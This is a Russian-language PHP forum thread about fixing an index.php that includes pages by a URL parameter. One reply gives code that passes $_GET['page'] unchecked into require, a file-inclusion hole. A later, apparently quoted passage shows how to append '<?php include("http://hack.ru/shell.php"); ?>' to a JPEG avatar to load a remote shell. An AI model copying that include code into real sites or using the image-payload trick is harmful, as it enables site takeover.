Всем здравствуйте! Я новичок в PHP, поэтому обращаюсь к более опытным за советом. Я был вынужден перенести сайты на другой сервер, где установлен PHP 5.6.33. Нашел в сети информацию, что в версиях PHP выше 5.3 переменные не передаются напрямую, и их теперь нужно в начале скрипта вытаскивать из массива. Пожалуйста, помогите правильно написать скрипт, размещенный в index.php. Код (Text): <? if (isset($page)) { if (file_exists("$page.php")) { include "$page.php"; } elseif (file_exists('error.php')) { include 'error.php'; } } elseif (file_exists('main.php')) { include 'main.php'; } ?> Как сейчас: открывается index.php с подгруженным контентом из main.php В случае перехода по ссылке вида mysite.ru/index.php?page=list , адрес в строке браузера меняется, но остается страница с содержимым main.php Как должно работать: при открытии index.php, подгружается контент из файла main.php При переходе по активной ссылке mysite.ru/index.php?page=list должен подгружаться контент из файла list.php Если ввести ссылку с отсутствующим файлом, типа mysite.ru/index.php?page=nofile , должна открыться страница с подгруженным контентом из error.php Очень рассчитываю на вашу помощь. Пожалуйста, исправьте этот скрипт....
index.php: PHP: <?php error_reporting ( E_ALL ); # отобразить все ошибки если они есть. Это нужно чтобы их лечить после. if ( array_key_exists ( 'page', $_GET ) ) { if ( file_exists ( __DIR__ . "/{$_GET[page]}.php" ) ) { require __DIR__ . "/{$_GET[page]}.php"; # переход на существующую страницу } else { require __DIR__ . '/404.php'; # страница с выводом ошибки } } else { require __DIR__ . '/main.php'; # главная страница }
Чтобы получить значение page из ссылки mysite.ru/index.php?page=list , в php можно прописать $_GET['page'] и присвоить это значение переменной. Но если в чистом виде передавать значение из ссылки в include, то рано или поздно твой сайт будет взломан. Подробнее прочитать про методы устранения уязвимости, которая уже есть в твоем скрипте, можешь по ссылке: https://forum.antichat.ru/threads/91807/
Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину: Код (Text): яШяа JFIF ` ` яЫ C $.' ",#(7),01444'9=82<.342яЫ C 2!!22222222222222222222222222222222222222222222222222яА 6 6" яД яД µ } !1AQa"q2Ѓ‘Ў#B±БRСр$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ„…†‡?‰Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪбвгдежзийкстуфхцчшщъяД яД µ w !1AQaq"2ЃB‘Ў±Б #3RрbrС $4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ„…†‡?‰Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪвгдежзийктуфхцчшщъяЪ ? чъ(ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ?яЩ <?php include("http://hack.ru/shell.php"); ?> Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include() загружает код из одного файла в исполняемый файл. Вот пример: